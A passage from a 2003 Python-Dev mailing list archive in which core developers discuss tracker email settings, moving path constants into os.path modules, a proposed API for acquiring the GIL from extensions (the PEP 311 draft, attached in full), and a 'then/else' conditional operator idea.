do is > > > uncheck the box that says "Send email on all changes". I would really > > > like to do this. > > > > > > Would anybody who is currently receiving bugs or patches traffic be > > > bothered if I made this change? > > > > I find it sometimes interesting to receive these mails and read the > > comments which are posted, I cannot decide from the item description > > if I'm interested in this item or not. > > Hm... If you're the only one I'm inclined to overrule you. :-) This is your good right of course, and my contribution is small enough that I have to live with this. > > > (You could also route the mails them into the trashcan, and read them with a > > newsreader at news.gmane.org:gmane.comp.python.bugs or patches.) > > No, that won't work: unless I uncheck that box, the traffic will > contain all posts, but I really want to see only posts announcing new > issues. Yes, but you could ignore the threads you aren't interested in. Just an idea. Thomas From tim.one@comcast.net Thu Feb 13 18:53:01 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 13 Feb 2003 13:53:01 -0500 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131752.h1DHqCi00785@odiug.zope.com> Message-ID: [Guido] > But... when anything is changed or added to those trackers, an email > is *also* sent to those lists. > > I would like to receive the first kind of traffic (new tracker issues) > but not the second kind, except for those tracker issues in which I am > interested (which I can get by explicit turning on monitoring of those > issues, or by following up). > > The SF tracker admin has an option to allow this: all I have to do is > uncheck the box that says "Send email on all changes". I would really > like to do this. > > Would anybody who is currently receiving bugs or patches traffic be > bothered if I made this change? I sure would. At least 3/4ths of the comments I add to tracker items are spurred by reading the topmost (most recent) comment in one of these "extra" emails. Sometimes they're tracker items I'm following anyway, but often they're not. From skip@pobox.com Thu Feb 13 21:49:31 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 13 Feb 2003 15:49:31 -0600 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module Message-ID: <15948.4843.672889.97600@montanaro.dyndns.org> It has always mystified me that os.{sep,pathsep} aren't defined in os.path. Looking at os.py I see that os.{curdir,pardir,defpath} should probably live there as well. Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath into the relevant path module (ntpath, posixpath, etc), then for compatibility reimport them ("from path import curdir, pardir, sep, pathsep, defpath") later in os.py. Update the libref documentation to reflect these items' new home. Do whatever is necessary deprecation-wise (silent in 2.3? Update usage in Python source after 2.3 release and add visible deprecation in 2.4?). Rationale: These variables are all path-related. One of the reasons for having platform-specific path modules is to allow programmers to manipulate filesystem paths for platform X on platform Y. This would make those items available under that sort of scenario. It would also reduce the amount of platform-specific code in os.py. Skip From mhammond@skippinet.com.au Thu Feb 13 22:11:22 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Fri, 14 Feb 2003 09:11:22 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: Message-ID: <005301c2d3ac$d84a9f80$530f8490@eden> > Aargh! I had an e-mail composed about that right away, > but didn't press send for fear of increasing the noise > level of Python-Dev even more. When you said saving of > state is a PITA, I figured you meant that this wasn't > going to work so easily. (Next time I'll at least send > a private e-mail.) Yes, I felt foolish :) Truly a case of "forest for the trees" - especially as I had working code I was referring to which did exactly this (even if it was in a C++ instance variable rather than a local :) > Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and > Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to > Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well, > then? I'm not sure we can really get away with this. For C code, a common pattern will need to be: PyAutoThreadState_State state; .. some code state = PyAutoThreadState_Ensure(); ... more code PyAutoThreadState_Ensure(state); } We actually need all 3 blocks. Unlike Py_BEGIN_ALLOW_THREADS, we can't create a new scope to declare a local variable in, as that variable is needed by the outer most scope. I guess: Py_AUTO_THREAD_STATE_DECLARE Py_AUTO_THREAD_STATE_ENSURE Py_AUTO_THREAD_STATE_RELEASE would work. OTOH, in the code I am patching there already exists "#ifdef __cplusplus" - I am so tempted to add a tiny little extra block define a helper C++ class in the Python sources for managing this. However, if I do that I fear the Spanish Inquisition will look like a stroll in the park Could-do-it-in-2-lines-or-so ly, Mark. From guido@python.org Thu Feb 13 22:33:44 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 17:33:44 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: Your message of "Fri, 14 Feb 2003 09:11:22 +1100." <005301c2d3ac$d84a9f80$530f8490@eden> References: <005301c2d3ac$d84a9f80$530f8490@eden> Message-ID: <200302132233.h1DMXii19596@odiug.zope.com> > > Should there be Py_BEGIN_AUTO_THREAD_STATE_ENSURE and > > Py_END_AUTO_THREAD_STATE_ENSURE macros (analogous to > > Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS) as well, > > then? > > I'm not sure we can really get away with this. For C code, a common pattern > will need to be: > > PyAutoThreadState_State state; > .. some code > state = PyAutoThreadState_Ensure(); > ... more code > PyAutoThreadState_Ensure(state); > } > > We actually need all 3 blocks. Unlike Py_BEGIN_ALLOW_THREADS, we can't > create a new scope to declare a local variable in, as that variable is > needed by the outer most scope. > > I guess: > Py_AUTO_THREAD_STATE_DECLARE > Py_AUTO_THREAD_STATE_ENSURE > Py_AUTO_THREAD_STATE_RELEASE > > would work. The macros don't look more attractive than the explicit code. > OTOH, in the code I am patching there already exists "#ifdef > __cplusplus" - I am so tempted to add a tiny little extra block > define a helper C++ class in the Python sources for managing this. > However, if I do that I fear the Spanish Inquisition will look like > a stroll in the park Cardinal Biggles, get the soft cushions! Actually, relying on C++ would be bad, since this might be useful outside Windows as well. --Guido van Rossum (home page: http://www.python.org/~guido/) From gsw@agere.com Thu Feb 13 22:40:29 2003 From: gsw@agere.com (Gerald S. Williams) Date: Thu, 13 Feb 2003 17:40:29 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <005301c2d3ac$d84a9f80$530f8490@eden> Message-ID: Mark Hammond wrote: > I'm not sure we can really get away with this. For C code, a common pattern > will need to be: > > PyAutoThreadState_State state; > .. some code > state = PyAutoThreadState_Ensure(); > ... more code > PyAutoThreadState_Ensure(state); > } > > We actually need all 3 blocks. Unlike Py_BEGIN_ALLOW_THREADS, we can't > create a new scope to declare a local variable in, as that variable is > needed by the outer most scope. If you say so, I'll take your word for it, although your example seems to contradict what you're saying--i.e., it makes it look like this would work: { ... some code { PyAutoThreadState_State state = PyAutoThreadState_Ensure(); /* BEGIN */ ... more code PyAutoThreadState_Ensure(state); } /* END */ } > I guess: > Py_AUTO_THREAD_STATE_DECLARE > Py_AUTO_THREAD_STATE_ENSURE > Py_AUTO_THREAD_STATE_RELEASE > > would work. If you need the declaration, I'd vote for making it explicit. I only suggested the macro for consistency with what's been done before. > OTOH, in the code I am patching there already exists "#ifdef __cplusplus" - > I am so tempted to add a tiny little extra block define a helper C++ class > in the Python sources for managing this. However, if I do that I fear the > Spanish Inquisition will look like a stroll in the park I've been thinking about a related use for __cplusplus: in C++ (or C99 for that matter), the extra scope declaration in Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS isn't needed. I wonder if it would be worth removing the braces from those macros when possible. It would be just a matter of principle, I guess--putting braces in macros like that is generally frowned upon in polite company. ;-) -Jerry From guido@python.org Thu Feb 13 22:41:43 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 17:41:43 -0500 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: Your message of "Thu, 13 Feb 2003 15:49:31 CST." <15948.4843.672889.97600@montanaro.dyndns.org> References: <15948.4843.672889.97600@montanaro.dyndns.org> Message-ID: <200302132241.h1DMfhE20063@odiug.zope.com> > It has always mystified me that os.{sep,pathsep} aren't defined in os.path. Yes, hysterical raisins if I ever saw one. :-) > Looking at os.py I see that os.{curdir,pardir,defpath} should probably live > there as well. Yes. > Proposal: Move the definitions of curdir, pardir, sep, pathsep and defpath > into the relevant path module (ntpath, posixpath, etc), then for > compatibility reimport them ("from path import curdir, pardir, sep, pathsep, > defpath") later in os.py. Yes. > Update the libref documentation to reflect these > items' new home. Do whatever is necessary deprecation-wise (silent in 2.3? > Update usage in Python source after 2.3 release and add visible deprecation > in 2.4?). No. These things have been where they are for such a long time, there really is no reason to break everybody's code that uses these. > Rationale: These variables are all path-related. One of the reasons for > having platform-specific path modules is to allow programmers to manipulate > filesystem paths for platform X on platform Y. This would make those items > available under that sort of scenario. It would also reduce the amount of > platform-specific code in os.py. You can document the fact that from now on, posixpath, ntpath, macpath etc. also have these variables. But don't deprecate the names in os -- I really don't see the point of that, there's no bug being fixed. --Guido van Rossum (home page: http://www.python.org/~guido/) From mhammond@skippinet.com.au Thu Feb 13 22:42:53 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Fri, 14 Feb 2003 09:42:53 +1100 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: <200302132233.h1DMXii19596@odiug.zope.com> Message-ID: <005c01c2d3b1$40755a60$530f8490@eden> > > OTOH, in the code I am patching there already exists "#ifdef > > __cplusplus" - I am so tempted to add a tiny little extra block > > define a helper C++ class in the Python sources for managing this. > > However, if I do that I fear the Spanish Inquisition will look like > > a stroll in the park > > Cardinal Biggles, get the soft cushions! :) > Actually, relying on C++ would be bad, since this might be useful > outside Windows as well. Well, I was thinking of: #ifdef __cplusplus class PyAutoThreadState { PyAutoThreadState() {state = PyAutoThreadState_Ensure();} ~PyAutoThreadState() {PyAutoThreadState_Restore(state);} PyAutoThreadState_State state; } #endif Meaning the C level API is always there, but a C++ compiler on any platform should allow extension authors to say: void MyCppFunc(void) { PyAutoThreadState state; } And the rest happens by magic. Was-only-half-serious-but-getting-more-so ly, Mark. From mhammond@skippinet.com.au Thu Feb 13 22:34:37 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Fri, 14 Feb 2003 09:34:37 +1100 Subject: [Python-Dev] Updated AutoThreadState pre-PEP Message-ID: <005701c2d3b0$17e825b0$530f8490@eden> This is a multi-part message in MIME format. ------=_NextPart_000_0058_01C2D40C.4B589DB0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Hi all, I have updated my pre-PEP, and am about to start the process of making it a real PEP :) I have attached the latest and greatest version here. I believe it largely complete. There is a fully functional, platform independent implementation at http://www.python.org/sf/684256 All comments, reviews, tests and anything else welcome. Mark. ------=_NextPart_000_0058_01C2D40C.4B589DB0 Content-Type: text/plain; name="pep_gil.txt" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="pep_gil.txt" PEP: xxx Title: Simplified Global Interpreter Lock acquisition for extensions Version: $Revision: $ Last-Modified: $Date: $ Author: Mark Hammond Status:=20 Type:=20 Content-Type: text/plain Created: Feb-2003 Post-History: Open Issues This is where I note comments from people that are yet to be = resolved. - JustvR prefers a PyGIL prefix over PyAutoThreadState. MarkH = prefers the latter as the implementation is really about thread states as much as the GIL, but doesn't really care though. - Should we provide Py_AUTO_THREAD_STATE macros? - Is my "Limitation" regarding PyEval_InitThreads() OK? Abstract This PEP proposes a simplified API for access to the Global Interpreter Lock (GIL) for Python extension modules. Specifically, it provides a solution for authors of complex multi-threaded extensions, where the current state of Python (i.e., the state of the GIL, or if Python is currently using the GIL, or indeed if Python has been initialized) is unknown. This PEP proposes a new API, for platforms built with threading support, to manage the Python thread state. An implementation strategy is proposed, along with an initial, platform independent implementation. Rationale The current Python interpreter state API is suitable for simple, single-threaded extensions, but quickly becomes incredibly complex for non-trivial, multi-threaded extensions. Currently Python provides two mechanisms for dealing with the GIL: - Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros. These macros are provided primarily to allow a simple Python extension that already owns the GIL to temporarily release it while making an "external" (ie, non-Python), generally expensive, call. Any existing Python threads that are blocked waiting for the GIL are then free to run. While this is fine for extensions making calls from Python into the outside world, it is no help for extensions that need to make calls into Python when the thread state is unknown. - PyThreadState and PyInterpreterState APIs. These API functions allow an extension/embedded application to acquire the GIL, but suffer from a serious boot-strapping problem - they require you to know the state of the Python interpreter and of the GIL before they can be used. One particular problem is for extension authors that need to deal with threads never before seen by Python, but need to call Python from this thread. It is very difficult, delicate and error prone to author an extension where these "new" threads always know the exact state of the GIL, and therefore can reliably interact with this API. For these reasons, the question of how such extensions should interact with Python is quickly becoming a FAQ. The main impetus for this PEP, a thread on python-dev [1], immediately identified the following projects with this exact issue: - The win32all extensions - Boost - ctypes - Python-GTK bindings - Uno - PyObjC - Mac toolbox - PyXPCOM Currently, there is no reasonable, portable solution to this problem, forcing each extension author to implement their own hand-rolled version. Further, the problem is complex, meaning many implementations are likely to be incorrect, leading to a variety of problems that will often manifest simply as "Python has hung". =20 While the biggest problem in the existing thread-state API is the lack of the ability to query the current state of the lock, it is felt that a more complete, simplified solution should be offered to extension authors. Such a solution should encourage authors to provide error-free, complex extension modules that take full advantage of Python's threading mechanisms. =20 Limitations and Exclusions This proposal identifies a solution for extension authors with complex multi-threaded requirements, but that only require a single "PyInterpreterState". There is no attempt to cater for extensions that require multiple interpreter states. As at time of writing, no extension has been identified that requires multiple PyInterpreterStates, and indeed it is not clear if that facility works correctly in Python itself. While this auto-thread-state API will initialize Python itself, it will not automatically call PyEval_InitThreads(). Thus, multi-threaded applications must ensure this call is made manually. As the thread which makes this call is nominated the "main thread" by Python, it is felt that the extension author should make this call explicitly, to ensure the main thread is determinate. It is intended that this API be all that is necessary to acquire the Python GIL. Apart from the existing, standard Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is assumed that no additional thread state API functions will be used by the extension. Extensions with such complicated requirements are free to continue to use the existing thread state API. Proposal This proposal recommends a new API be added to Python to simplify the management of the GIL. This API will be available on all platforms built with WITH_THREAD defined. =20 The intent is that an extension author be able to use a small, well-defined "prologue dance", at any time and on any thread, and this dance will ensure Python is ready to be used on that thread. After the extension has finished with Python, it must also perform an "epilogue dance" to release any resources previously acquired. Ideally, these dances will be able to be expressed in a single line. Specifically, the following new APIs are proposed: =20 /* Ensure that the current thread is ready to call the Python C API, regardless of the current state of Python, or of its thread lock. This may be called as many times as desired by a thread, so long as each call is matched with a call to PyAutoThreadState_Release() =20 The return value is an opaque "handle" to the thread state when PyAutoThreadState_Acquire() was called, and must be passed to PyAutoThreadState_Release() to ensure Python is left in the same state. =20 When the function returns, the current thread will hold the GIL. Thus, the GIL is held by the thread until PyAutoThreadState_Release() is called. (Note that as happens now in Python, calling a Python API function may indeed cause a thread-switch and therefore a GIL ownership change. However, Python guarantees that when the API function returns, the GIL will again be owned by the thread making the call) Failure is a fatal error. */ PyAutoThreadState_State PyAutoThreadState_Ensure(void); /* Release any resources previously acquired. After this call, Python's state will be the same as it was prior to the corresponding PyAutoThreadState_Acquire call (but generally this state will be unknown to the caller, hence the use of the AutoThreadState API.) =20 Every call to PyAutoThreadState_Ensure must be matched by a call to PyAutoThreadState_Release on the same thread. */ void PyAutoThreadState_Release(PyAutoThreadState_State state); Common usage will be: void SomeCFunction(void) { /* ensure we hold the lock */ PyAutoThreadState_State state =3D PyAutoThreadState_Ensure(); /* Use the Python API */ ... /* Restore the state of Python */ PyAutoThreadState_Release(state); } Design and Implementation The general operation of PyAutoThreadState_Ensure() will be: - Ensure Python is initialized. - Get a PyThreadState for the current thread, creating and saving if = necessary. - remember the current state of the lock (owned/not owned) - If the current state does not own the GIL, acquire it. - Increment a counter for how many calls to PyAutoThreadState_Ensure have been made on the current thread. - return The general operation of PyAutoThreadState_Release() will be: - assert our thread currently holds the lock. - If old state indicates lock as previously unlocked, release GIL. - Decrement the PyAutoThreadState_Ensure counter for the thread. - If counter =3D=3D 0: - release the PyThreadState. - forget the ThreadState as being owned by the thread. - return It is assumed that it is an error if two discrete PyThreadStates are used for a single thread. Comments in pystate.h ("State unique per thread") support this view, although it is never directly stated. Thus, this will require some implementation of Thread Local Storage. Fortunately, a platform independent implementation of Thread Local Storage already exists in the Python source tree, in the SGI threading port. This code will be integrated into the platform independent Python core, but in such a way that platforms can provide a more optimal implementation if desired. Implementation An implementation of this proposal can be found at=20 http://www.python.org/sf/684256 References [1] = http://mail.python.org/pipermail/python-dev/2002-December/031424.html Copyright This document has been placed in the public domain. =0C Local Variables: mode: indented-text indent-tabs-mode: nil sentence-end-double-space: t fill-column: 70 End: ------=_NextPart_000_0058_01C2D40C.4B589DB0-- From skip@pobox.com Thu Feb 13 22:55:41 2003 From: skip@pobox.com (Skip Montanaro) Date: Thu, 13 Feb 2003 16:55:41 -0600 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <200302132241.h1DMfhE20063@odiug.zope.com> References: <15948.4843.672889.97600@montanaro.dyndns.org> <200302132241.h1DMfhE20063@odiug.zope.com> Message-ID: <15948.8813.80265.32058@montanaro.dyndns.org> >> Update the libref documentation to reflect these items' new home. Do >> whatever is necessary deprecation-wise (silent in 2.3? Update usage >> in Python source after 2.3 release and add visible deprecation in >> 2.4?). Guido> No. These things have been where they are for such a long time, Guido> there really is no reason to break everybody's code that uses Guido> these. I assume "No" applies to the deprecation part and not the update-the-doc part. Guido> You can document the fact that from now on, posixpath, ntpath, Guido> macpath etc. also have these variables. But don't deprecate the Guido> names in os -- I really don't see the point of that, there's no Guido> bug being fixed. Sounds fine by me. Skip From tim.one@comcast.net Thu Feb 13 22:57:09 2003 From: tim.one@comcast.net (Tim Peters) Date: Thu, 13 Feb 2003 17:57:09 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: Message-ID: [Gerald S. Williams] > ... > I've been thinking about a related use for __cplusplus: in > C++ (or C99 for that matter), the extra scope declaration in > Py_BEGIN_ALLOW_THREADS/Py_END_ALLOW_THREADS isn't needed. I > wonder if it would be worth removing the braces from those > macros when possible. -1. Having to live with two definition points for these macros is pain enough already. > It would be just a matter of principle, I guess--putting braces in macros > like that is generally frowned upon in polite company. ;-) Pragmatic company likes it: the braces make it very likely you'll get cascades of baffling compile-time errors if you don't use the BEGIN/END macros in matched pairs. That's better than cascades of baffling runtime errors. From guido@python.org Thu Feb 13 22:57:25 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 17:57:25 -0500 Subject: [Python-Dev] Change definition of Py_END_ALLOW_THREADS? In-Reply-To: Your message of "Fri, 14 Feb 2003 09:42:53 +1100." <005c01c2d3b1$40755a60$530f8490@eden> References: <005c01c2d3b1$40755a60$530f8490@eden> Message-ID: <200302132257.h1DMvP320492@odiug.zope.com> > Well, I was thinking of: > > #ifdef __cplusplus > class PyAutoThreadState { > PyAutoThreadState() {state = PyAutoThreadState_Ensure();} > ~PyAutoThreadState() {PyAutoThreadState_Restore(state);} > PyAutoThreadState_State state; > } > #endif > > Meaning the C level API is always there, but a C++ compiler on any platform > should allow extension authors to say: > > void MyCppFunc(void) > { > PyAutoThreadState state; > } > > And the rest happens by magic. > > Was-only-half-serious-but-getting-more-so ly, OK, that works for me. --Guido van Rossum (home page: http://www.python.org/~guido/) From guido@python.org Thu Feb 13 23:32:07 2003 From: guido@python.org (Guido van Rossum) Date: Thu, 13 Feb 2003 18:32:07 -0500 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: "Your message of Thu, 13 Feb 2003 16:55:41 CST." <15948.8813.80265.32058@montanaro.dyndns.org> References: <15948.4843.672889.97600@montanaro.dyndns.org> <200302132241.h1DMfhE20063@odiug.zope.com> <15948.8813.80265.32058@montanaro.dyndns.org> Message-ID: <200302132332.h1DNW7Z29890@pcp02138704pcs.reston01.va.comcast.net> > >> Update the libref documentation to reflect these items' new home. Do > >> whatever is necessary deprecation-wise (silent in 2.3? Update usage > >> in Python source after 2.3 release and add visible deprecation in > >> 2.4?). > > Guido> No. These things have been where they are for such a long time, > Guido> there really is no reason to break everybody's code that uses > Guido> these. > > I assume "No" applies to the deprecation part and not the update-the-doc > part. Well, I don't want to update the docs to say that you should henceforth use os.path.sep etc. --Guido van Rossum (home page: http://www.python.org/~guido/) From mhammond@skippinet.com.au Fri Feb 14 01:11:06 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Fri, 14 Feb 2003 12:11:06 +1100 Subject: [Python-Dev] Updated AutoThreadState pre-PEP In-Reply-To: <20030214010035.GA24921@panix.com> Message-ID: <001501c2d3c5$f3dc6300$530f8490@eden> [Aahz, in private mail, provokes an interesting point] > "What happens if you do PyAutoThreadState_Ensure() and > PyEval_InitThreads() has not been called?" > > There should be some discussion of the appropriate time to call > PyEval_InitThreads(). Yeah, this is an interesting, indirect point. If the author must call PyEval_InitThreads(), then they must also have called Py_Initialize(). If in the real world, all users of this API have already done this at process startup, then our internal checks for initialization are pointless. Therefore, I propose that I change the PEP to state that before the AutoThreadState API can be used, Python must have been "correctly initialized", where "correctly initialized" is defined as: * Py_Initialize() has been called. * If the extension is multi-threaded, then PyEval_InitThreads() has been called from the "main thread". If these conditions are not met, Python will either (and hopefully usually) Py_FatalError(), or occasionally dead-lock. Any objections? Mark. From tismer@tismer.com Fri Feb 14 03:17:17 2003 From: tismer@tismer.com (Christian Tismer) Date: Fri, 14 Feb 2003 04:17:17 +0100 Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects Message-ID: <3E4C5FBD.2070309@tismer.com> Dear community, there has been some favor of my silly/simple a then b else c proposal. Please let me elaborate a little on this, with respect to the existing "and" and "or operators. "and" and "or" are two-headed beasts: At first glance, they pretend to be logical operators. At second inspection, they do this logic by promoting one of their operands. This is not obviously bad, and it is consistant with the logic. Due to the presence of a real boolean type, we should ask ourselves if "and" and "or" shouldn't be deprecated in their current meaning, towards being "boolean only"? I think it would be nicer if "and" and "or" would only produce true or false. But this would break lots of code. Therefore, I propose to keep them as they are, but to deprecate using them to carry their operand values instead of a true truth value. This would be still allowed, but there are new, more explicit operators, which should be used instead for new Python code: The binary operators "then" and "else". The ternary operator "then else". For a clear definition, see the function definitions below. Example: Parameter cleanup. Parameters are often massaged like this: "or" case: arg = arg or "Default" The meaning of this phrase is: "If the user has provided no argument value that is true (non-empty or not 0 most of the time), then provide some default value". arg = arg then arg else "Default" would be the verbose ternary replacement of this. A short replacement would read better: arg = arg else "Default" which means "If arg is false, replace it by 'Default'". "and" case: arg = arg and 42 The meaning of this phrase is: "If the user provided any argument that is true, use some default value". arg = arg then 42 else arg would be the verbose replacement of this. A short replacement would read better: arg = arg then 42 Summary: -------- "and" and "or" are behaving like logical operators. They happen to do this by not providing a plain truth value, but by promoting one of their operands. "and" and "or" are valid operators, when used in a logical context, only, meaning only to use the truth value. They have the side effect of carrying an operand, which I regard as a design flaw, but this is bearable when used properly. Using "and" and "or", when they are meant as "then" or "else" should be deprectaed as bad style in the long term. Almost all instances of "and" and "or" used to carry a value can be replaced by "then" or "else" with ease, which makes the resulting code much more readable without prior knowledge. "and" and "or" do have a builtin perception of symmetry, which is not related to the truth, and hard to explain to newcomers. Therefore, I propose to deprecate their use to promote a value, and I propose to introduce "then" and "else" as dual operators, together with the "then else" pair as ternary operator, to be used in any context where the inquiry should promote the right operand without evaluating its truth value. Definition: ----------- Here is my "cure" to "and" and "or" with side-effects: a then b -------- is equivalent to def then_proc(a, b): if a: return b else: return a a else b -------- is equivalent to def else_proc(a, b): if a: return a else: return b a then b else c --------------- is equivalent to def then_else_proc(a, b, c): if a: return b else: return c "and" and "or" should be replaced by the above constructs, in all contexts where "and" and "or" are not pure logical, but are meant to propagate specific values, for all new code. kind regards -- chris p.s.: Please correct me positively, if I made a mistake at 4:15am -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From paul@pfdubois.com Fri Feb 14 03:36:34 2003 From: paul@pfdubois.com (Paul Dubois) Date: Thu, 13 Feb 2003 19:36:34 -0800 Subject: [Python-Dev] PEP-242 Numeric kinds -- disposition Message-ID: <000501c2d3da$461e0920$6601a8c0@NICKLEBY> PEP-242 should be closed. The kinds module will not be added to the = standard library. There was no opposition to the proposal but only mild interest in using = it, not enough to justify adding the module to the standard library. = Instead, it will be made available as a separate distribution item at the Numerical Python site. At the next release of Numerical Python, it will no longer = be a part of the Numeric distribution. From mhammond@skippinet.com.au Fri Feb 14 04:09:24 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Fri, 14 Feb 2003 15:09:24 +1100 Subject: [Python-Dev] Updated AutoThreadState pre-PEP In-Reply-To: <005701c2d3b0$17e825b0$530f8490@eden> Message-ID: <002c01c2d3de$dc698ae0$530f8490@eden> This PEP has been given a number (311) and checked in! It should appear in the python.org pep list soon, but is in CVS right now. The PEP is updated slightly from the one posted: * Updated to reflect that the extension must previously call Py_Initialize() and possibly PyEval_InitThreads(). The auto-thread-state API will not do this. * Jack offered some ideas for different names, and noted that I mixed the use of "Acquire" and "Ensure" in the body. I made this consistently "Ensure", but noted Jack's preference for "Acquire" in the "unresolved issues" section. Thanks, Mark. From skip@pobox.com Fri Feb 14 06:50:24 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 14 Feb 2003 00:50:24 -0600 Subject: [Python-Dev] import curdir,pardir,sep,pathsep,defpath from relevant *path module In-Reply-To: <200302132241.h1DMfhE20063@odiug.zope.com> References: <15948.4843.672889.97600@montanaro.dyndns.org> <200302132241.h1DMfhE20063@odiug.zope.com> Message-ID: <15948.37296.363252.684837@montanaro.dyndns.org> >> Proposal: Move the definitions of curdir, pardir, sep, pathsep and >> defpath into the relevant path module (ntpath, posixpath, etc), then >> for compatibility reimport them ("from path import curdir, pardir, >> sep, pathsep, defpath") later in os.py. Guido> Yes. Patch is at: http://python.org/sf/686397 I initially assigned it to Andrew MacIntyre because the os/2 stuff seemed the most complex (the rest was straightforward), and I have no way to test there. Skip From mal@lemburg.com Fri Feb 14 08:13:19 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Fri, 14 Feb 2003 09:13:19 +0100 Subject: [Python-Dev] Changing SF tracker email preferences In-Reply-To: <200302131838.h1DIcn101322@odiug.zope.com> References: <200302131752.h1DHqCi00785@odiug.zope.com> <200302131838.h1DIcn101322@odiug.zope.com> Message-ID: <3E4CA51F.6070306@lemburg.com> Guido van Rossum wrote: >>>The SF tracker admin has an option to allow this: all I have to do is >>>uncheck the box that says "Send email on all changes". I would really >>>like to do this. >>> >>>Would anybody who is currently receiving bugs or patches traffic be >>>bothered if I made this change? >> >>I find it sometimes interesting to receive these mails and read the >>comments which are posted, I cannot decide from the item description >>if I'm interested in this item or not. > > Hm... If you're the only one I'm inclined to overrule you. :-) You can have my -1 if that helps in deciding. If you personally don't like to receive these extra mails, I'm sure you can configure your mail program to filter these out, e.g. by matching on "> Comment By:". -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 14 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 46 days left EuroPython 2003, Charleroi, Belgium: 130 days left From just@letterror.com Fri Feb 14 09:23:27 2003 From: just@letterror.com (Just van Rossum) Date: Fri, 14 Feb 2003 10:23:27 +0100 Subject: [Python-Dev] Re: [Python-checkins] python/nondist/peps pep-0311.txt,NONE,1.1 In-Reply-To: Message-ID: mhammond@users.sourceforge.net wrote: > Open Issues > This is where I note comments from people that are yet to be resolved. > - JustvR prefers a PyGIL prefix over PyAutoThreadState. > - JackJ notes that the "Auto" prefix will look a little silly > in a few years, assuming this becomes the standard way of > managing the lock. He doesn't really like Just's "GIL", and > suggested "PyIntLock" Oh, so now we're locking integers? ;-) The reason I don't like "Auto" is that there's nothing automatic going on: you still have to _use_ the API actively... My opinion is biased because very recently I wrote a module called "autoGIL" for OSX, which actually _does_ handle the GIL automatically, in the context of event loops: it releases the GIL when the event loop goes to sleep and acquires it when it wakes up again. This works for us as the even loop is not supposed to use blocking calls to begin with. Handling the GIL the "proper" way in this project (PyObjC) would be impossible without PEP 311, but even with it, it will be an huge amount of work. I like PyGIL for the prefix as "GIL" is a well understood acronym; you can't really discuss the issues without using it... But it's totally your call. Just From gherron@islandtraining.com Fri Feb 14 10:06:11 2003 From: gherron@islandtraining.com (Gary Herron) Date: Fri, 14 Feb 2003 02:06:11 -0800 Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <3E4C5FBD.2070309@tismer.com> References: <3E4C5FBD.2070309@tismer.com> Message-ID: <200302140206.11838.gherron@islandtraining.com> On Thursday 13 February 2003 07:17 pm, Christian Tismer wrote: > Dear community, > > there has been some favor of my silly/simple a then b else c proposal. > > Please let me elaborate a little on this, with respect > to the existing "and" and "or operators. I read the following with interest, and started considering some implications. My conclusions follow at the end. > "and" and "or" are two-headed beasts: > At first glance, they pretend to be logical operators. > At second inspection, they do this logic by promoting > one of their operands. > > This is not obviously bad, and it is consistant with the logic. > > Due to the presence of a real boolean type, we > should ask ourselves if "and" and "or" shouldn't be > deprecated in their current meaning, towards being > "boolean only"? > I think it would be nicer if "and" and "or" would only > produce true or false. But this would break lots of code. > Therefore, I propose to keep them as they are, but to deprecate > using them to carry their operand values instead of a true truth > value. > > This would be still allowed, but there are new, more explicit > operators, which should be used instead for new Python code: > > The binary operators "then" and "else". > The ternary operator "then else". > For a clear definition, see the function > definitions below. > > Example: Parameter cleanup. > Parameters are often massaged like this: > "or" case: > > arg = arg or "Default" > > The meaning of this phrase is: > "If the user has provided no argument value that is > true (non-empty or not 0 most of the time), then provide > some default value". > > arg = arg then arg else "Default" > > would be the verbose ternary replacement of this. > A short replacement would read better: > > arg = arg else "Default" > > which means "If arg is false, replace it 